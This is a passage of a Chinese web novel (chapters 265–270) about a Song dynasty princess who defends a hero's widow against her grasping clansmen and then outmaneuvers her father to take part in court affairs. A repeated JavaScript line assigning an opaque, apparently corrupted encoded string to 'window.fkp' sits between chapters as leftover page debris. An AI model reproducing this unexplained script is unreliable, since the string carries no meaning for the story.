\"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二百六十五章 王氏宗族 按道理说,这个时候,也不应该有的别的访客才是。 自己老爷刚传回噩耗的时候,上门的人自然是络绎不绝的。不管是知道还是不知道内情的人,都会看在王道乾的官位上给予应有的尊重。 而当王道乾为国捐躯的谋划曝光后,大部分的人终究是还是选择明哲保身,不沾染这大麻烦,只是浅浅的来吊唁一句,就匆匆的走了。 反倒是宫里的那位和对王道乾有知遇之恩或者说是间接给他安排了这条死路的韩侂胄,派人的派人,亲自来的亲自来,礼节上倒是做足了的。 当时的王道乾的荣光可以说是南宋这些年来,去世的大臣里最璀璨的,完全成超出了他的级别应有的待遇。 可这样的须臾的荣光,终究是不长久的,当成埃落定,以往一切的热闹反而承托出现在的凄景。 人走茶凉不是一句针对人,或者说是骂人的话,他说的只是一个自然的规律。 不管是对茶还是对人而言,那些一直不改初衷,永远给你烧冷灶的人才是不正常的。 一个人都死了,不可能就因为她一个夫人在,就还一直保持的以往的交往,那是不现实的,也是不合规矩的。 官场也好,普通人家也好,都是如此。不是说那些渐渐冷淡的亲戚现实,而是那些跟你称为亲戚的人也是同样的普通人,他们的感情也是需要维持的,而当那个平时负责维护感情的人都没了,如何还能存在亲密的关系。 那些陷在以往的前人留下的辉煌里出不来的,心心念念都在责怪那些昔日往来的亲友忘恩负义的,其实是自己没有想明白其中的关键。 当再亲近的人,断开联系久了,你都会不知道该如何跟对方交流,何况是那些保鲜度并不高的其他关系。 “让开……” “叔公,你让开吧,小心伤着你……” “你们……” 门外熙熙攘攘的声音终于是靠近灵堂这边了,王夫人似乎也听出了外面是何人在喧哗。 “叔公,让他们进来吧。” 王夫人带着歉意对赵茵萝行了个礼。 “公主殿下,驸马爷,妾身有些家事要处理,斗胆还请两位先回避。” 赵茵萝静静的看着王夫人,她要确定这个看着柔弱不堪的寡居妇人是不是真的不需要她帮忙。 而王夫人回答她的,是无比执着且坚定的眼神。 “如此,那我与外子就先行告辞了,要是夫人有任何需要我们帮忙的地方,还请直言。” 赵茵萝行了个礼就带着陈子云往外走,在经过那群从门口进来的所谓的王道乾的同族的人的时候,眼神一个个的在他们身上掠过,直看得那些个胆子小些的不停的打冷颤。 “子云师傅,你说我要是用重手段对付这些王大人的同族,王大人会不会怪我?” 赵茵萝在钻进自己的马车的时候问道。 “以王大人对夫人的感情来看,恐怕到时候还要请你帮忙多打断这些不孝子弟的一条腿才好呢。” 陈子云坐在赶车位子上,笑着对赵茵萝说道。 “也是啊,一个男人,能在自己夫人不能生养的情况下还不休妻,不另娶,已经是难得的很了。” 赵茵萝道。 要教训这些所谓的王氏宗族,对于赵茵萝来讲自然是没有什么难度的,甚至都不用她亲自出手,但凡放出一点风声。 比如公主府与王夫人一见如故之类的消息,然后让人摆着公主府的车架在王府门口出现几次,但凡只要这些个所谓的王氏族人没有都一起得失心疯,就知道该收手了。 赵茵萝更在意的是,那位素雅无争的王夫人到底是如何的想法。王府那大宅子虽然好,可却不一定被王夫人所喜欢,毕竟那里也不过是王道乾用来布置陷阱的一个道具而已。 如今更是被王夫人亲手将里面的侍妾也好,下人也好都遣散的差不多了,明显是不想继续维持这个冷清的大宅子的意思。 所以,后面的这一段时间里,赵茵萝都会带着陈子云着便装去探望这位英烈的遗孀。 也好给那王夫人看来明显没有什么生气的大宅子舔舔人气,也是为了探寻她将来生活的规划。 果然如赵茵萝所料,王夫人对于这个空荡荡的王府没有丝毫的留恋,她早就在着手准备,回到以前她跟王道乾曾经居住过的,在临安城西角落里的一套不大却充满了回忆的老宅子里。 “还记得,老爷总是喜欢在月下,围着小院子里那株早就不会再开花的老梅花树,边走边吟咏诗篇。 虽然老爷自己的做的诗词确实不上台面,可他吟诵起诗词来却很是有一股古风古韵,也是我最喜欢的。” 赵茵萝看着眼里泛起温柔亮光的王夫人,心里竟然露出了丝丝的羡慕之情。 “可这宅子。” 王夫人指着头顶的高墙绿瓦,泛着担忧道。 “也不能这么就给宗族里的的那些小子啊。不是说我这个伯母舍不得,而是这宅子在我手里,外人终究顾忌着老爷的英名不会巧取豪夺。 可要是到了他们这群小家伙手里,不是被拐了,就是被廉价卖了,再或者就是他们自己个生出了龌龊。 钱财这东西,老爷就是在清贫的时候也是看的明白的,一些自己掌握不住的东西,就跟徒手舀水一般,终究是要从手指缝里溜出去的。 那些被顺走的一件件的小东西倒是还好,最多也就能让他们富足一时,别人眼红的也少。 可这大宅子,就算是生出杀心来,也是可能。” “夫人慈悲。” 陈子云也有些佩服这位夫人的智慧与善良了。 “驸马爷说笑了,我一个足不出户的妇道人家,哪里会有懂这些,不过是听老爷说的次数多了,就记下了一些。 老爷啊,平时也没有多少真正的朋友,每次读书读得有体悟了,或者有别的想法了,也就只能拉着我来讲,好歹我出嫁前还在父亲的手底下读过几页书的,多少能听懂些。” 王夫人道。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二百六十六章 惩戒 赵茵萝跟王夫人最终商定,两人立下字据王夫人将这栋王府大宅作价白银千两的价格卖给公主府,这价钱对于这座豪华的宅院来讲自然是白菜价了。 不过这笔钱却是王夫人心目中可以给那些王氏同族,又不至于引起各种麻烦的最佳选择。 而且到时候,她只要亮出这份契约,谅那些同宗子弟也不敢因价格低廉而公然去找公主府的麻烦。 这些人是典型的窝里横,他们会抓着你对他们的好,反过来认为是理所当然的。而一旦他们觉得自己吃亏了,就立马翻脸不认人,还要问你索要那他认为本来就应该是属于他的那份。 可就算是这样,王夫人还是低估了这些宗族人的无耻程度。在得知王夫人将大宅作价一千两卖给公主府之后,他们不敢向公主府要求什么,只好来辱骂王夫人,说她这是出卖了王家的利益。 一定是有背后有见不得人的好处,她必须要补偿他们的损失,最少要王夫人再拿出四千两补足宅子的市价。 否则他们就要代替宗族家法,将王夫人抓到宗祠前,数落罪状。 “碰……” 赵茵萝直接将放着茶碗的茶几一掌拍塌了。 这自然是吓了那些看着王夫人一声不吭就越说越过分,越也起劲王氏族人一大跳。 “你是何人,你不是我王氏族人,为何你会在此?” 一个稍微年长些的王氏族人指着赵茵萝喝问道。 “哼,果然是妇道人家,连开宗族大会都让外人在场,实在是不成体统,也不知道二伯是怎么教你的。” 王夫人听到此处,也终于忍不住要开口了,这帮人如何对她,她都可以忍让,可是一旦说到自己已故的亡夫,如何能忍得住。 “哼,好个王氏宗族,不过一个偏远地域的小门小户,要不是王道乾大人顾念旧情,多有栽培,你们怕是连来临安的路费都凑不齐。 如今王大人尸骨未寒,你们就上门逼迫夫人,如此行径就不怕对不起大人在天之灵吗。” 赵茵萝声音铿锵,还带着几分不忿。 陈子云一眼扫过,其中几个年轻的倒是面露愧色,可大多数人依旧是盯着王夫人不放,那表情里夹杂着的都是对于不可得的贪婪。 “你……好你个牙尖嘴利的丫头,也不知道是哪家的家教这么稀疏。你的长辈就没教过你,家事外人管不得吗。 看在你年纪尚幼的份上,我们不跟你一般见识,但是我王家的事情,决不允许外人插手,就算是告到官府去,我们也不怕。 她一个无子无女的外姓人,本来就没资格霸占我王家的家产。” 那位年长的王氏族人厉声说道。他能把赵茵萝这个已婚妇人认成丫头,也是因为如今赵茵萝的肤色实在是看着就让人误会,都以为是个年纪不大的姑娘。 “哈哈……” “啪啪啪……” 赵茵萝一边鼓掌,一边突兀的发笑,好是听到了什么了不得是事情。 “我的家教稀疏,你可敢再说一遍?” “有何不敢……” 那人被赵茵萝这么一刺激,自然是也上头了。 “不可。” 王夫人连忙阻止对方的跳进赵茵萝设下的大坑。别的事情还好说,要是这位不知天高的王氏族人,口里真的说出冒犯了皇室的话语,那受过的可不单单是他自己一人。 到时候,要是龙颜大怒,那个小小的王氏宗族,说不好就要被连根铲除了。就算王夫人再怎么不受待见,可终究那时王道乾的宗族,她不可能看着对方因为一时之失就断送了整个家族。 “好你个外姓人,果然是靠不住,连到了这个时候,你还帮着外人。” 那人却是不识好人心,狗咬吕洞宾,还以为王夫人是在帮衬赵茵萝对付他呢。 “小丫头你听好了,你擅自插手他人家事,妄想颠覆人伦宗亲,你就是大大的忤逆之徒,你的家族长辈必然也是惫懒之人,才没将你带上正道。 今天我就是这般说了,你待如何,你可别指望她能护着你。我倒是要问问,你倒是哪里来的野人家,家中长辈姓甚名谁,要是得空,说不得本人还要登门指教指教。” 那人指着王夫人,不以为然的说道。其实在王道乾牺牲之前,这个人登门拜访是最频繁的,自然跟王夫人也是最熟悉的。 每次上门来,王夫人都会殷勤的接待他,从来没有半点亏待,可王夫人跃是表现的平易近人,就让如今的这人越发感觉她好欺负,好控制。 为了自己也能过上当初王道乾的那种,让他朝思暮想的生活,他自然顾不得这位曾经对他百般照顾的夫人会如何。 “哈哈哈……指教……哈哈……指教……” 陈子云终究也是忍不住了,发声大笑起来。他听到了什么,一个不知哪个角落里钻出来的软脚虾,竟然要去皇宫里找宋宁宗指教,天下间可没有比这更有趣的事情了。 “无礼,无礼,你看看,你们看看,这些都是什么人,你招进来的都是些什么无礼之人,真是有辱门风。” 那人似乎被陈子云的耻笑,气的胡子都开始发抖了,激动的指点着几人喝骂道。 “你想知道我家,好,我告诉你,我姓……赵。” 赵茵萝忽然间端起来,她那许久不曾使用的公主架子,那睥睨的眼神下,看那帮王氏族人就像是苍鹰从天空中俯视趴在草丛间挣食的蝼蚁。 那人先是错愕,那种不与凡人为伍的气势,不是一般人想学就能学的来的,他也意识到自己可能踢到了铁板。 “赵?是哪个赵……” 那人有些颤巍巍的问道。一个天塌地陷的想法穿过他的大脑,可本能的不想承认会发生这么荒谬的事情。 可他没发现,本来跟他站的近的那些同族,似乎在纷纷的远离他。 “公主殿下,还请赎罪,族人无知,不识天颜,还望您海涵,绕过他们这一遭,妾色拜谢了。” 王夫人说着就直接跪在了赵茵萝脚下。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二百六十七章 公主一诺 “公……公……主……” 那个强撑着气势的人刹那间就像是被扎破了的气球,直接就瘪了,整个人都精气神仿佛一下子被王夫人的一句话给抽空了。 其余人也基本丧失了思考的能力,纷纷腿脚酸软的拜倒在地,这个时候他们连去思考会不会是赵茵萝在哄骗他们的心思也没有了。 不过也是,冒充皇家宗室那是灭九族的大罪,哪里会有人胆敢冒充当朝唯一的公主的。 “不,我不信,赵,赵乃国姓,姓赵的人家多了去了,你不是,不是……” 那人已经几乎崩溃了。 赵茵萝没有再理会对方,而是扶起了王夫人,搀扶着她重新入座。 等安抚了王夫人之后,才好整以暇的看向堂前跪满了的人。 赵茵萝抬起手指指向那个已经神情恍惚的中年。 “他说的不错,家有家规,国有国法,你们王氏宗族要如何处理家事,本宫管不着,就是皇帝陛下也不会管。 但是有这天下不是只有家事,在家之上还有国,而王大人就是为了国事而舍了家事。 王大人是我眼看着牺牲的,你们可能也听说了。当时我曾劝过王大人,让他不用牺牲自己,计策也有很大的可能成功。 可王大人笑着对我说,古来善谋者众也,善断者寡也,能临危而决断者,成败之机也。 如今大军在前,家国在后,岂能因一人之生死而不顾千万人之死活。 当时我无言以对,只好问他有何事相托,必然帮他完成。 王大人说,自己无儿无女,也就是家中老妻,就怕等自己走了之后,无人伴她说话。” 赵茵萝犀利眼神扫过全场。 “从那时起,我……赵茵萝……大宋长公主就已经在心中发誓,此生必然要护着王夫人一世。 所以本宫如今管的不是你们王家的家事,而是我大宋的忠臣用性命换来的承诺——大宋长公主的承诺。 而你们此时面对的也不是你们王家宗室眼中的无儿无女的外姓人,而是我大宋英雄的遗孀。 你们既然胆敢冒犯与她,本宫就是要你们人头落地,看谁敢多言一句。” 静默,诡秘,整个王府被赵茵萝最后的那一句满含杀意的话语镇压的鸦雀无声。 “啊……别杀我,我不敢了,我不要了,别杀我啊……” 第一个人崩溃之后,既然是连续性的反应,就如多米诺骨牌一般都崩塌,厅堂里惨嚎声此起彼伏,连绵不断。 等这些人从丧乱中清醒过来,赵茵萝三人早就离开了,众人你看看我,我看看你,似乎都在庆幸自己从地狱的边缘跑了一个来回。 同时又忐忑,那位尊贵无比,霸道欺人的公主殿下,会不会秋后算账。 等他们看到那位已经在不自觉的流口水的中年带头宗亲的时候,都下意识的远离对方。 这公主殿下,可能大人大量不跟他们这些小咯罗计较,可是这个罪魁祸首,怎么可能被轻易放过。 就算对方如今已经是这副痴傻模样,可既然对方已经说出来那些大逆不道的话,大宋皇室如何能不追究。 “糟了呀,你们说,这,他会不会牵连我们王氏一门啊。” 有人将担忧说了出来,所有人越发的远离了这个中年,眼中甚至还流露出了些许的不满与愤恨,似乎都在怨他。 似乎这所有的错都是他一个人造成的,他们只是无辜的跟随者,好以此安慰自己不安的心。 …… “赵令,我们相识多久了?” 赵茵萝神色淡漠的看着站在堂下的赵令,这个子虚玄部如今的负责人。 “茵萝……” 赵令看着那个站在堂前,与自己记忆中完全变了模样的赵茵萝。他此时还有些不敢相信,眼前这位如仙如玉的美人,会是那个自己从小一起长大的玩伴。 赵令以前也知道,以他的身份是无论如何都不可能配得上赵茵萝的。毕竟自己只是个无权势的宗族子弟,而对方却是这天下间最尊贵的女人。 尽管对方的学识不俗,可那平平无奇的羊样貌总是能给赵令找到一些补偿,以为凭着自己的英伟气质,一定能得到赵茵萝的青睐。 这也是他有自信在赵茵萝,这个南宋的长公主面前挺起腰板,平等相待原因。而当时的赵茵萝本来就是温文糯糯的性格,自然也对这个敢于在自己面前表现的同龄人有些好感。 所以这也一度让赵令更加的确信,自己是真的得到了赵茵萝这位公主的芳心,甚至连宋宁宗也看这个宗族后辈能讨得赵茵萝的欢心而有意的提拨他。 “称我公主,或者地后,我以前就提醒过你的。如今你我已经不是儿时,长幼尊卑的规矩还望你仔细遵守为好。” 赵茵萝冷眼的拒绝了赵令的攀附。 这也不怪赵茵萝绝情,本来赵令被宋宁宗强行塞进子虚,明摆着就是让对方来监视自己的,她甚至还因此跟自己爹爹争论了一番。 而且自己早就嫁给了子云师傅,如何还能跟别的男人走的太近,尤其是赵令这样的儿时亲近的伙伴。子云师傅就算再大方,又有那个男人能容忍自己的妻子这般的行事。 所以赵令这个儿时的玩伴,此时却成了影响赵茵萝跟宋宁宗与陈子云,这两个她生命中最重要的两个男人的障碍物,如何能让她还有好态度。 何况,在陈子云的分析中,在自己治伤期间,宋宁宗很可能已经因为赵令提供的一些消息,而对她起了防范之心。 这是赵茵萝最无法接受的,自己的爹爹竟然因为一个外人的几句话就这么防备你自己,这造成的心理伤害甚至比自己这次受伤还要严重。 可她如今还舍不得责怪那位一直对自己关爱有加的爹爹,自然就只能将这份怒火发泄在赵令这个外人身上了。 “是……地后,我们自小就相识,如今已近二十载。” 赵令眼中含情,语气颤抖的说道。赵茵萝这一问,又让他不由自主的想起了以前他们之间的美好时光,而赵茵萝如今的公事公办的语气又让他情何以堪。 “好,那我赵茵萝这二十年来,可有对不住你赵令的地方?” 赵茵萝语气森然的道。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二百六十八章 儿时玩伴 赵令先是一惊,抬头看到赵茵萝按半透明面罩后面的面色,脑海中闪过了他这些天来最担忧的事情。 “没……没有。” 赵令本来想说,以前自然是没有的,可自从你嫁给了那人之后,就不是了,可这样的话他如何能说的出口。 他赵令到底是须眉男子,不是冷闺深院中的怨妇,这些心事他可以跟别人抱怨,却万万不能在你赵茵萝面前承认。 否则,他这辈子还如何在赵茵萝面前抬得起头。 何况…… 赵令自然还有别的说不出的口的缘由。 “既然我不曾亏欠与你,为何你要这般的对我!?” 赵茵萝神色冷厉的轻声喝问道。 “什么?” 赵令心里一惊,可终究还是想再做挣扎。 “地后,我做了什么了?让你如此动怒?” “你当真不愿意承认,非要我点明吗?” 赵茵萝的语气变得平淡,不再如刚才的气愤,可这却让赵令愈发的担心,对方是不是真的知道了什么。 “还请地后……明言。” 赵令终究还是抱着侥幸心理,以为赵茵萝只是在诈他。毕竟他做的那件事情,这天下间就两个人知道,除了他自己,就是那位至尊,对方没有理由出卖自己的。 赵茵萝没有再回答他,就这么直愣愣的看着赵令,足足半刻钟的时间,两人都是一动没动。 赵茵萝仔仔细细的打量着,审视着这位自己的儿时玩伴,似乎想越过那层熟悉的外在看透他那有些陌生的内心。 眼神中多少有些疑惑,明明是为数不多的能跟她说得上话的,最熟悉的人,如今看来却从来没有认真的了解过对方的真实为人。 赵茵萝回忆着着二十年来对于赵令的认知,一直都是停留在那个可以陪着自己说说话的同龄人的阶段而已。 不知道对方的报复,也不知道对方的为人,至于说在自己面前表现的友善,如今看来大多也是和那些趋炎附势之辈一样。 可同时,赵茵萝也多么希望这位儿时的同伴能在自己的质问下坚持下来,可惜对方连跟自己对视的胆气都没有。 赵令第一次看到赵茵萝如此冷漠的眼神,在加上一种他从来都没有意识到的,从对方体内散发出来的气势,竟然让他有一种面对宋宁宗时候的压迫感。 连简单的对视,他都没能坚持多久,就自然的低下了眼眸,好像赵茵萝的存在,就是天生不是他能够直视的。 这让他这个从小玩到大的伙伴很是难堪,甚至有些愤怒,这种愤怒是因为嫉妒而来的。 以前在赵令眼中,赵茵萝虽然贵为公主,可从来没在自己面前摆过架子,而且天生的体体弱多病,也让赵茵萝看上去就没什么威慑力。 而且她那并不出众的样貌,加上宫中那两位至尊的默许,赵令其实在内心里是把赵茵萝放在自己下面的。 当妹妹也好,当别的也罢,反正他认为自己才是那个主导他们两人之间关系的人物,而不是赵茵萝这个名义上的公主。 可如今,这样的变化,这样被赵茵萝用居高临下的视线审视,赵令感到了从未有过的屈辱,就像是被一个从来都睡屈居与自己之下的二流人物,突然间超越了自己一般。 “退下吧。” 赵茵萝忽然轻轻的说了一句。 “是……” 赵令下意识的答应之后,自己也愣住了。不单单是因为对方忽然就不再追究了,而是自己内心那种顺其自然的诚服心态,让他无法接受。 赵茵萝看着自己这位儿时伙伴,晃晃悠悠的走了出去,自己都已经没有再说什么了,不知道为何对方反而变得魂不守舍。 不过她能做的也就这样的,就算是为了以前的情分画上一个句号吧。 而且她也基本从对方的反应中判断出来了,有些事情不是不承认就可以被当作没发生的。 “都问出来了吗?” 陈子云从外面进来了。 赵茵萝摇摇头,没有说话,收拾着自己有些动荡的心绪。 “哦,那倒是怪了,那位看着可像是丢了魂似的,我还以为是你……“ 陈子云也没有再说下去。 “该知道的都知道了,今天我不过也就是想确认一下而已。” 赵茵萝道。 “如此也好。” 陈子云点点头道。 “那……” 陈子云有些犹豫的看了赵茵萝一眼,似乎在担心什么。 “我立刻就进宫去,大伯为我的事情谋划了这么久,茵萝也不能让他白白操心一场。” 赵茵萝说着就准备回房准备行装,今天她可是要以南宋长公主的身份去找她那位至尊爹爹摊牌的。 “既然你决定了,那我就通知韩侂胄,让他配合你发动吧。” 陈子云点点头道。 …… 这一天注定是不平凡的一天,本来已经过了正午,这个时候,各位上朝的大人们早就应该下朝回府了。 可如今却是仍然不见身影,这让临安大街上那些见惯了穿红带紫大人们的人们纷纷好奇的望向皇城。 当然也不是说南宋的朝堂就没有延误的时候,只是这样迟迟的不下朝终究是少见的。 临安的民众只是看着稀罕的场景好奇,而有经验的,或者说是但凡有点政治灵敏度的人们,早就开始暗中揣测了。 要知道先前的那几次早朝的延误,可是都跟随着大事发生的,也只有当朝堂上讨论大事,争论不休的时候,才会让这些大老爷们连回府返衙的事都耽搁了。 而今天负责守卫宫门的那些卫士么,早就将手里的兵刃都握出了汗了。不单单是因为严重超时的执勤,而是都预料到了着宫门的后面必然是在发生着轩然的事情。 而他们这些负责守卫今天宫门的可怜人,一旦里面发生了什么不可描述的事情,那他们就是首当其冲的。 不论是皇帝要大开杀戒,还是那位想不开的要谋权篡位,他们这种没有什么存在感的,同时又无法抽身而退的小人物才是最悲惨的。 里面的人成功没他们的好处,失败了却要拿他们开刀。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二百六十九章 公主听政 好在皇城的大门不久便从里面重新打开了,没有猜测中的突发事件,更没有卫士们最担心的流血场面。 一个个穿红戴紫的大人们,安安稳稳的从宫城里出来了,而且脸上大多都是带着让人放心的笑意。 当然不可能是全部的大人都在高兴,因为总是当一伙大人物在朝堂上压下了另一伙大人物的时候,才会让这些不知柴米贵的大人们有欢笑的理由。 可当守门的侍卫正小心的寻找那些个应该是满面愁容或者是带着怒气的大人物以作为难得的消遣时,却意外的发现竟然没有见到那些愤愤然的人。 这真是怪了,难道那些吵架输了的大人都还在后面? 可也不对啊,正常来讲,不都是应该是输了的一边先疾步离开的吗。这就跟自己家的邻里吵架一样,胜者自然是要耀武扬威一番的,最好是让整条街的街坊都知道才好,败者才是黯然的匆匆退场才是。 除非他们都是赢家,可这更不可能了,朝堂上的事情,小兵自然是不懂的,可就算是小儿的游戏也是要分输赢的,何况是这些敢用性命赌输赢的大人们。 可所有人都赢了,那谁输了,真当是怪事,怪事…… 咦,那人是谁,今天的朝政怎么还有女子参加? 是哪位诰命夫人,不对,这位夫人的年纪如此年轻,而且好像那些大人物都在恭维着她。 围着这位年轻的过分,还奇怪的带着面纱的美貌女子的不乏那些排队进宫时站在前列的大老爷。 这些大老爷就是刚来的侍卫也是必须先行记在心里的对象,要不然要是一不小心怠慢了这些大人物,他们估计这辈子就都是站岗的命了。 可如今,那几个让宫门侍卫只能仰视的存在,却都簇拥着这个不曾见过的妇人,而且小兵敢保证,这位夫人今天上朝的时候是从没见到的。 这些咄咄怪事加在一起,让已经是宫门侍卫中的老手也感觉摸不到头脑了。 “公主殿下……” “巾帼不让……” “当朝听政……” “古来无二……” 小兵在这些人靠近自己的时候微微低着脑袋,耳朵却是分外仔细的用力听着那传来的几句断断续续的话语。 公主,公主在哪里?虽然公主自小深居简出,但是作为宫廷侍卫,处于自身的职责,对于所有者宫墙内的大人物,自然是要照例都做到心中有数的。 要不然一旦见到了人,连如何行礼,如何尊称都不知道,这成何体统。 当然要说宫里的其他贵人,小兵可能因为自己记忆力不佳还可能记错了,可大宋的公主可是就一个啊,怎么可能不认识。 而且那位久居深宫的公主也好认的很,每次来到这宫门墙上眺望外面,都是由皇后娘娘陪着的。 那瘦弱的模样,完全不像是锦衣玉食养出来的。 小兵当时第一次见到公主的时候,还是在老人的再三确认下才相信,这个看着比自己家妹妹还要瘦小的,也没有什么皇家威仪的女孩就是大宋的长公主。 虽然后面公主嫁人出宫了,也许久不曾见到了,可变化再大也不可能直接换了个模样啊。 自己面前的这位夫人,明显是冰肌玉肤,跟那位,唉,说句大不敬的话,样貌不堪的公主完全就是两个人啊。 小兵虽然是满满的好奇心,可也终究不敢有什么捷越的举动,只能低着头恭送面前的大人物们经过。 …… 赵茵萝这次抓着宋宁宗露出的痛脚,也就是赵令的不规矩的行为,在私下里好好的抱怨了一番。 而随即韩侂胄又接着赵茵萝在大散关的英勇行为,鼓动朝臣中间的舆论,将赵茵萝从一个不见经传的公主,捧做一个不让须眉的奇女子。 而有个胆子大一些的职位不大不小的礼部官员,正好就提了一句木兰从军的佳话,后面自然是有更多的簇拥者跟上节奏。 宋宁宗起初是诧异,后面是凝思,之后就是用审视的目光不断的在赵茵萝跟韩侂胄身上巡视。 要是到了这个时候还不明白,今天这个朝会就是这两位一起联手做的局,等着他这个皇帝往里钻,宋宁宗也就白白当这么些年天子了。 宋宁宗的第一反应自然是气愤,随即是些许的伤心。虽然他因为赵令提供的消息,有些防备赵茵萝,可自问对自己这个闺女还是关心爱护的。 可如今,这小棉袄竟然联合外人来算计自己这个爹爹,就算是宋宁宗忍着帝王心性压制着心里的悲伤,可眼角还是不有自主的红了。 任由底下的官员将这场自说自话的讨论,一步步往精心策划的方向推动,先是将赵茵萝描述成这个千古难得的长公主,最终推到一个可以垂帘听政的位置上。 宋宁宗看着赵茵萝那明显因为激动而泛红的脸,以及那双变得自己都快不认得的漂亮眼睛,颤巍巍的看着自己。 宋宁宗总算是还有些欣慰的从那双眼睛里看到了些许的愧疚。 有抬举赵茵萝的,自然也有压制她的。 就算是权势如韩侂胄也不可能真的在南宋朝堂上做到一言而定,就算是宋宁宗肯,作为聪明人的韩侂胄自己也不会让这种事情发生的。 因为他知道,在宋宁宗的下面,他自然可以翻云覆雨,甚至有时候可以小小的不顾尊卑,拿出自己臻臣的一面喝问君王的过世。 可一旦整个朝堂上只剩下一种声音,那到时候,韩侂胄要面对的反对,要面对的敌人自然就只能是宋宁宗自己的。 跟皇帝对着干,除非老韩家立刻就准备好造反,否则只能是被如杂草一般的抹平。 所以这场没有什么悬念的争论,在韩侂胄的有意引导下,在宋宁宗的心灰意冷的放纵下,一直从早朝开始延续到午时之后。 最后还是韩侂胄自己意识到该收尾了,才向宋宁宗提出了最后的申请。 “陛下,事到如此,朝臣争议难定,请陛下圣裁。” 宋宁宗似乎还在御座上出神,迟迟没有回复。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二百七十章 好坏参半 朝臣见此也都停下了争论,望着上面的宋宁宗,奇怪这位平时朝会上都是精神百倍的皇帝陛下,为何今天表现的如此奇怪。 “陛下?” 有人轻声的呼唤着。 直到韩侂胄第三次出声提醒,宋宁宗才回过神来。 宋宁宗深深的看了赵茵萝一眼,嘴中缓缓吐出一个字。 “好。” 众臣震惊,皇帝说“好”,自然是答应的意思,可这可算不得朝会上的正式用语,一般而言,皇帝要是同意奏请,回答“准”,“善”才是恰当的。 可如今这个“好”字,自然是有这方面的意思,但就是觉得不稳当。 有人还想明确一番,可宋宁宗却直接离开了御座。 这让所有人都只好赶紧拜别皇帝,这样的举动自然是更加不符合朝会历来的规矩。 可人都走了,他们这些做臣子的还能如何? “恭喜公主殿下,陛下准许了您的垂帘听政。” 最终还是韩侂胄一语定音,在朝臣因为宋宁宗模棱两可的态度下,直接就帮他下了定论。 作为当朝的宰相,韩侂胄这般做倒是还真的并无大错,宰辅宰辅本来就有辅助君王的天然职能。 再加上他如今在朝中的威望,以及赵茵萝此时的态度,自然大多数朝臣就顺着韩侂胄的意思,纷纷认可了这个决议。 其实他们不认可也不行啊,没看到韩侂胄那双眯缝着的眼睛,正一个个的打量着他们这些人吗,要是他们此时犹豫了,或者拒绝了,那事后…… 再说了,要是宋宁宗真的对赵茵萝这样的行为有意见,那也是他们赵氏皇家自己内部的事情,他们这些做臣子的最好还是不要夹在中间难做。 有道是疏不间亲啊,人家嫡亲的父女俩,有什么不能解决的,需要你们这些外人来说三道四,怎么着,还想挑拨离间不成。 嘿,那不是给自己惹一身骚吗。 所以,宋宁宗走后,整个朝堂就被韩侂胄的权势所左右了,而赵茵萝此时也只能忍着心中对于宋宁宗的愧疚,将这该应付的场面给应付完。 …… 赵茵萝一回到公主府,就直接扑倒在了陈子云身上。不是什么旧伤复发,而是新伤,也是心伤。 “子云师傅,爹爹恨我了,爹爹恨我了。” 赵茵萝此时就好像又变回了那个与陈子云初见时的小姑娘,宋宁宗的那中无情的凝视,就像是一把尖刀,插进了她的心脏。 “茵萝,哭吧,哭出来吧了,今天之后你恐怕就没什么几乎哭泣了。你既然决定往那个位置上走,那就要学着忘记哭泣了。” 陈子云没有安慰的话,反倒是鼓励赵茵萝发泄出来。 其实这件事情,并没有什么对错可讲。 只是在感情上有所亏欠,但是当一种对自己的认定,超越了普通的情感局限,那么有些事情,迟早都是要去做的。 赵茵萝借着宋宁宗对于因为派人监视她而率先产生的愧疚,让韩侂胄趁机提议让她上朝听政。 而宋宁宗因为一时间的犹豫,没有直接拒绝,以至于让整个朝臣一时间以为这是皇帝默许的行为。 到了后面,就算是宋宁宗想反悔也无法顶着群臣的意见,做出专断,他还无法脱离韩侂胄而做出这样可能会打击自己威信的事情。 而宋宁宗呢,虽然意外赵茵萝为何要这样做,而且是用这样的方式。不是跟他这个爹爹商量,反而是用这种几乎是逼宫的姿态。 